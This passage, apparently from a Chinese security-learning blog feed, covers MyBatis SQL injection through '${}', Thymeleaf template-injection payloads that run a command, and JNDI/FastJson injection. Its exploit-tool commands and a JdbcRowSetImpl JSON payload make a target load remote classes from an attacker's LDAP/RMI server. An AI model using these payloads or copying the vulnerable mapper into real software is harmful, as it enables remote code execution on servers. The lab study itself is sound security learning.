class="keyword">public</span> String <span class="title function_">get_g</span><span class="params">(<span class="meta">@RequestParam</span> String name)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;get name: &quot;</span> + name;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 指定POST请求的访问路由，带参数名name</span></span><br><span class="line">    <span class="meta">@RequestMapping(value = &quot;/Fc0Post_p&quot;, method = RequestMethod.POST)</span></span><br><span class="line">    <span class="comment">//@GetMapping(value = &quot;/xiaodiget_g&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">get_p</span><span class="params">(<span class="meta">@RequestParam</span> String name)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;post name: &quot;</span> + name;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409021625641.png" alt="image-20240902162508553"></p><h3 id="mybatis"><a class="markdownIt-Anchor" href="#mybatis">#</a> Mybatis</h3><p>Mybatis 是一款优秀的<strong>持久层框架</strong></p><ul><li>MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集的过程，<strong>减少了代码的冗余，减少程序员的操作。</strong></li><li>MyBatis <strong>可以使用简单的 XML 或注解来配置和映射原生信息</strong>，将接口和 Java 的 实体类 【Plain Old Java Objects, 普通的 Java 对象】映射成数据库中的记录。</li></ul><p><strong>User 类用来操作数据库数据</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.fc0.springbootmybatis.entity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Integer id;</span><br><span class="line">    <span class="keyword">private</span> String username;</span><br><span class="line">    <span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> Integer <span class="title function_">getId</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> id;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setId</span><span class="params">(Integer id)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.id = id;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getUsername</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> username;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUsername</span><span class="params">(String username)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.username = username;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getPassword</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> password;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setPassword</span><span class="params">(String password)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.password = password;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;User&#123;&quot;</span> +</span><br><span class="line">                <span class="string">&quot;id=&quot;</span> + id +</span><br><span class="line">                <span class="string">&quot;, username=&#x27;&quot;</span> + username + <span class="string">&#x27;\&#x27;&#x27;</span> +</span><br><span class="line">                <span class="string">&quot;, password=&#x27;&quot;</span> + password + <span class="string">&#x27;\&#x27;&#x27;</span> +</span><br><span class="line">                <span class="string">&#x27;&#125;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>Mapper 动态接口代理类实现</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.fc0.springbootmybatis.mapper;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fc0.springbootmybatis.entity.User;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.annotations.Mapper;</span><br><span class="line"><span class="keyword">import</span> org.apache.ibatis.annotations.Select;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    <span class="meta">@Select(&quot;select * from demo01&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">findAll</span><span class="params">()</span> ;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Select(&quot;select * from demo01 where id =1&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">findID</span><span class="params">()</span> ;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>Controller 实现 Web 访问调用</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.fc0.springbootmybatis.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fc0.springbootmybatis.entity.User;</span><br><span class="line"><span class="keyword">import</span> com.fc0.springbootmybatis.mapper.UserMapper;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.GetMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestParam;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Getdemo01Controller</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserMapper userMapper;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 根据用户id检索管理员数据的端点</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/getadmin&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">getadmindata</span><span class="params">()</span>&#123;</span><br><span class="line">        List&lt;User&gt; all = UserMapper.findAll();</span><br><span class="line">        <span class="keyword">return</span> all;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/getid&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">getadminid</span><span class="params">()</span>&#123;</span><br><span class="line">        List&lt;User&gt; all = UserMapper.findID();</span><br><span class="line">        <span class="keyword">return</span> all;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>不知道为啥总报这个错误</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409030008766.png" alt="image-20240903000850718"></p><p>引用一下别人的吧</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409030009068.png" alt="image-20240903000936009"></p><p>上面只是简单的开发过程</p><h4 id="mybatis-注入"><a class="markdownIt-Anchor" href="#mybatis-注入">#</a> mybatis 注入</h4><p>Mybatis 的 SQL 语句可以基于注解的方式写在类方法上面，更多的是以 xml 的方式写到 xml 文件。</p><p>Mybatis 中 SQL 语句需要我们自己手动编写或者用 generator 自动生成。编写 xml 文件时，Mybatis 支持两种参数符号，一种是 #，另一种是 $。比如：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;select id=<span class="string">&quot;queryAll&quot;</span>  resultMap=<span class="string">&quot;resultMap&quot;</span>&gt;  SELECT * FROM NEWS <span class="type">WHERE</span> <span class="variable">ID</span> <span class="operator">=</span> #&#123;id&#125;&lt;/select&gt;、</span><br></pre></td></tr></table></figure></div><p><strong>#使用预编译，$ 使用拼接 SQL。</strong></p><p><strong>(1)#{}</strong></p><ul><li>#{} 底层通过 prepareStatement 对当前传入的 sql 进行了预编译，一个 #{} 被解析为一个参数占位符？；</li><li>#{} 解析之后会将 String 类型的数据自动加上引号，其他数据类型不会</li><li><strong>#{} 很大程度上可以防止 sql 注入</strong>（sql 注入是发生在编译的过程中，因为恶意注入了某些特殊字符，最后被编译成了恶意的执行操作）</li><li>#{} 一般用在 insert 的字段和 where 条件中，用来防止 sql 注入</li></ul><p><strong>(2)${}</strong></p><ul><li>${} 仅仅为一个纯粹的 string 替换，在动态 sql 解析阶段将会进行变量替换</li><li>${} 解析之后是什么就是什么</li><li>${} 用在 sql 字符串拼接中，使用时需要非常谨慎。但是像一些没有直接和系统用户接触的功能如动态切换表名，库名呀就不存在注入问题了。一旦要使用在要被用户直接接触的 sql 中，一定要注意！</li></ul><p><strong>1、模糊查询</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Select * from news where title like ‘%#&#123;title&#125;%’</span><br></pre></td></tr></table></figure></div><p>在这种情况下使用 #程序会报错，新手程序员就把 #号改成了 $, 这样如果 java 代码层面没有对用户输入的内容做处理势必会产生 SQL 注入漏洞。</p><p>正确写法：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select * from news where tile like <span class="title function_">concat</span><span class="params">(‘%’,#&#123;title&#125;, ‘%’)</span></span><br></pre></td></tr></table></figure></div><p><strong>2、in 之后的多个参数</strong></p><p>in 之后多个 id 查询时使用# 同样会报错，</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Select * from news where id <span class="title function_">in</span> <span class="params">(#&#123;ids&#125;)</span></span><br></pre></td></tr></table></figure></div><p>正确用法为使用 foreach，而不是将 #替换为 $</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id in&lt;foreach collection=<span class="string">&quot;ids&quot;</span> item=<span class="string">&quot;item&quot;</span> open=<span class="string">&quot;(&quot;</span>separatosr=<span class="string">&quot;,&quot;</span> close=<span class="string">&quot;)&quot;</span>&gt;#&#123;ids&#125; &lt;/foreach&gt;</span><br></pre></td></tr></table></figure></div><p><strong>3、order by 之后</strong></p><p>这种场景应当在 Java 层面做映射，设置一个字段 / 表名数组，仅允许用户传入索引值。这样保证传入的字段或者表名都在白名单里面。需要注意的是在 mybatis-generator 自动生成的 SQL 语句中，order by 使用的也是 $，而 like 和 in 没有问题。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Mapper</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    <span class="meta">@Select(&quot;select * from admin where id like &#x27;%$&#123;id&#125;%&#x27;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;User&gt; <span class="title function_">findAll</span><span class="params">(Integer id)</span>;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409031533047.png" alt="Untitled"></p><h3 id="ssti-thymeleaf"><a class="markdownIt-Anchor" href="#ssti-thymeleaf">#</a> SSTI-Thymeleaf</h3><p><a class="link" href="https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg">thymeleaf 模板注入学习与研究–查找与防御 (qq.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>Thymeleaf 是用来开发 Web 和独立环境项目的现代服务器端 Java 模板引擎，既适用于 web 环境，也适用于独立环境，比较适合当前的人员分工问题。其能够处理 HTML、XML、JavaScript、CSS 甚至纯文本。提供了一种优雅且高度可维护的模板创建方法，可以直接在浏览器中正确显示，也可以作为静态原型方便开发团队协作。</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">// src/main/resources/templates/index.html</span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>  <span class="attr">xmlns:th</span>=<span class="string">&quot;http://www.thymeleaf.org&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Title<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span> &gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">span</span> <span class="attr">th:text</span>=<span class="string">&quot;$&#123;data&#125;&quot;</span>&gt;</span>Fc04dB<span class="tag">&lt;/<span class="name">span</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409031611788.png" alt="image-20240903161114715"></p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">// src/main/resources/templates/test.html</span><br><span class="line"></span><br><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>FFFF<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">Fc04dB</span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409031616215.png" alt="image-20240903161620147"></p><p>Controller 定义的路由（/test）会渲染对应的 templates 里的 html 文件（test.html）页面</p><h4 id="安全问题"><a class="markdownIt-Anchor" href="#安全问题">#</a> 安全问题：</h4><p>日常开发中：语言切换页面，主题更换等传参导致的 SSTI 注入安全问题</p><p>例如：更换中英文页面模板</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409031623629.png" alt="Untitled"></p><p>index-en.html</p><div class="highlight-container" data-rel="Html"><figure class="iseeu highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">&quot;en&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Title<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure></div><p>payload:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:8080/?lang=%7bnew java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(&quot;calc&quot;).getInputStream()).next()%7d__::.x](http://127.0.0.1:8080/?lang=__%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d::.x</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409031629159.png" alt="image-20240903162917972"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;springboot&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#springboot&quot;&gt;#&lt;/a&gt; SpringBoot&lt;/h2&gt;
&lt;p&gt;Spring Boot 是由 Pivotal 团队提供的一套&lt;strong&gt;开源框架&lt;/str</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JAVA-JNDI&amp;RMI&amp;LDAP</title>
    <link href="http://example.com/2024/08/31/JAVA-JNDI-RMI-LDAP/"/>
    <id>http://example.com/2024/08/31/JAVA-JNDI-RMI-LDAP/</id>
    <published>2024-08-31T05:03:40.000Z</published>
    <updated>2024-09-01T16:32:22.737Z</updated>
    
    <content type="html"><![CDATA[<h2 id="jndi注入"><a class="markdownIt-Anchor" href="#jndi注入">#</a> JNDI 注入</h2><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408311523436.png" alt="image-20240831152325398"></p><p><strong>JNDI</strong> (Java Naming and Directory Interface) 是一个应用程序设计的 API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似 JDBC 都是构建在抽象层上。</p><p><strong>JNDI 注入</strong>，即当开发者在定义  <code>JNDI</code>  接口初始化时，<strong> <code>lookup()</code>  方法的参数可控</strong>，攻击者就可以将恶意的  <code>url</code>  传入参数远程加载恶意载荷，造成注入攻击。</p><p><strong>通过 JNDI 接口，用户可以透明的调用远程服务，执行一些恶意命令</strong></p><p>**RMI：** 远程方法调用注册表<br> **LDAP：** 轻量级目录访问协议</p><p>JNDI 注入对 JAVA 版本有相应的限制</p><table><thead><tr><th>协议</th><th>JDK6</th><th>JDK7</th><th>JDK8</th><th>JDK11</th></tr></thead><tbody><tr><td>LADP</td><td>6u211 以下</td><td>7u201 以下</td><td>8u191 以下</td><td>11.0.1 以下</td></tr><tr><td>RMI</td><td>6u132 以下</td><td>7u122 以下</td><td>8u113 以下</td><td>无</td></tr></tbody></table><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408311528585.png" alt="image-20240831152849519"></p><p>Java 为了将 Object 对象存储在 Naming 或 Directory 服务下，提供了 Naming Reference 功能，<strong>对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下，比如 RMI、LDAP 等</strong>。javax.naming.InitialContext.lookup ()</p><h3 id="jndi远程调用-jndi-injection"><a class="markdownIt-Anchor" href="#jndi远程调用-jndi-injection">#</a> JNDI 远程调用 - JNDI-Injection</h3><ul><li>调用 rmi ldap 等服务对象类（<strong>远程服务</strong>）<br>ldap://121.41.34.25:1389/5x8adw = <strong>远程地址的一个 class 文件被执行</strong></li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408311422652.png" alt="image-20240831142243527"></p><h3 id="jndi远程调用-marshalsec"><a class="markdownIt-Anchor" href="#jndi远程调用-marshalsec">#</a> JNDI 远程调用 - marshalsec</h3><p><strong>生成恶意程序</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408311442447.png" alt="image-20240831144207389"></p><p>将编译后的 <code>.class</code>  文件放在本地或者云服务器的 web 应用目录中</p><p><strong>使用利用工具生成调用协议（rmi,ldap）</strong><br> <code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test</code> <br> <code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip.xx.xx.xxx/Test</code></p><p><strong>使用远程调用 (默认端口 1389)</strong></p><p><code>new InitialContext().lookup(&quot;ldap://xx.xx.xx.xx:1389/Test&quot;);</code> <br> <code>new InitialContext().lookup(&quot;rmi://xx.xx.xx.xx:1099/Test&quot;);</code></p><p><strong>JNDI-Injection &amp; marshalsec 实现原理：</strong></p><p>例：RMI 调用</p><ul><li><p>bind：将名称绑定到对象中；</p></li><li><p>lookup：通过名字检索执行的对象；</p></li><li><p>Reference 类表示对存在于命名 / 目录系统以外的对象的引用。</p></li><li><p>Reference 参数：</p><ul><li>className：远程加载时所使用的类名；</li><li>classFactory：加载的 class 中需要实例化类的名称；</li><li>classFactoryLocation：远程加载类的地址，提供 classes 数据的地址可以是 file/ftp/http 等协议；</li></ul></li></ul><h3 id="dns协议"><a class="markdownIt-Anchor" href="#dns协议">#</a> DNS 协议</h3><p>通过上面我们可知  <code>JNDI</code>  注入可以利用  <code>RMI</code>  协议和 <code>LDAP</code>  协议搭建服务然后执行命令，但有个不好的点就是会暴露自己的服务器  <code>IP</code>  。在没有确定存在漏洞前，直接在直接服务器上使用  <code>RMI</code>  或者  <code>LDAP</code>  去执行命令，通过日志可分析得到攻击者的服务器  <code>IP</code> ，这样在没有获取成果的前提下还暴露了自己的服务器  <code>IP</code> ，得不偿失。 我们可以使用 <code>DNS</code>  协议进行探测，** 通过  <code>DNS</code>  协议去探测是否真的存在漏洞，再去利用  <code>RMI</code>  或者  <code>LDAP</code>  去执行命令，** 避免过早暴露服务器  <code>IP</code> ，这也是平常大多数人习惯使用  <code>DNSLog</code>  探测的原因之一，同样的  <code>ldap</code>  和  <code>rmi</code>  也可以使用  <code>DNSLog</code>  平台去探测。</p><h3 id="jndi注入-fastjson"><a class="markdownIt-Anchor" href="#jndi注入-fastjson">#</a> JNDI 注入 - FastJson</h3><p>JavaEE 中接受用户提交的 JSON 数据进行转换 (FastJson 反序列化漏洞)</p><p>利用 InitialContext.lookup () 中的进行 JdbcRowSetImpl 类 JNDI 服务注入<br>漏洞<strong>利用 FastJson autotype 处理 Json 对象的时候，未对 @type 字段进行完整的安全性验证</strong>，攻击者可以传入危险类，并<strong>调用危险类连接远程 RMI 主机</strong>，通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞，获取服务器敏感信息，甚至可以利用此漏洞进一步的对服务器数据进行操作。</p><p><strong>创建一个接受 json 数据的 web 页面</strong>：</p><div class="highlight-container" data-rel="Jsp"><figure class="iseeu highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">  &lt;title&gt;JSP - Hello World&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;h1&gt;&lt;%= <span class="string">&quot;Hello World!&quot;</span> %&gt;&lt;/h1&gt;</span><br><span class="line">&lt;br/&gt;</span><br><span class="line">&lt;a href=<span class="string">&quot;hello-servlet&quot;</span>&gt;Hello Servlet&lt;/a&gt;</span><br><span class="line">&lt;form action=<span class="string">&quot;http://localhost:8080/FastjsonJndi_war_exploded/json&quot;</span> method=<span class="string">&quot;post&quot;</span> &gt;</span><br><span class="line">  pleasr input json data: &lt;input type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;str&quot;</span>&gt;&lt;br&gt;</span><br><span class="line">  &lt;input type=<span class="string">&quot;submit&quot;</span> value=<span class="string">&quot;提交&quot;</span>&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409012340069.png" alt="image-20240901234032948"></p><p><strong>生成远程调用方法</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C &quot;calc&quot; -A 192.168.200.130</span><br></pre></td></tr></table></figure></div><p><strong>提交 JSON 数据 Payload</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true&#125;</span><br></pre></td></tr></table></figure></div><p>-------&gt;<img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409012358008.png" alt="img"></p><p>Java 为了将 0bject 对象存储在 Naming 或 Directory 服务下，提供了 Naming14Reference 功能，对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下，<br>比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()</p><p><strong>在 RMI 服务中调用了 InitialContext.lookup () 的类有:</strong></p><ul><li>org.springframework.transaction.ita.JtaTransactionManager.readObiect()</li><li>com.sun.rowset.UdbcRowSetImpl.execute()</li><li>javax.management.remote.rmi.RMIConneclor.connect()</li><li>org.hibernate.imx.StatisticsService.setSessionFactoryINDIName (String sfINDIName)</li></ul><p><strong>在 LDAP 服务中调用了 InitialContext.lookup () 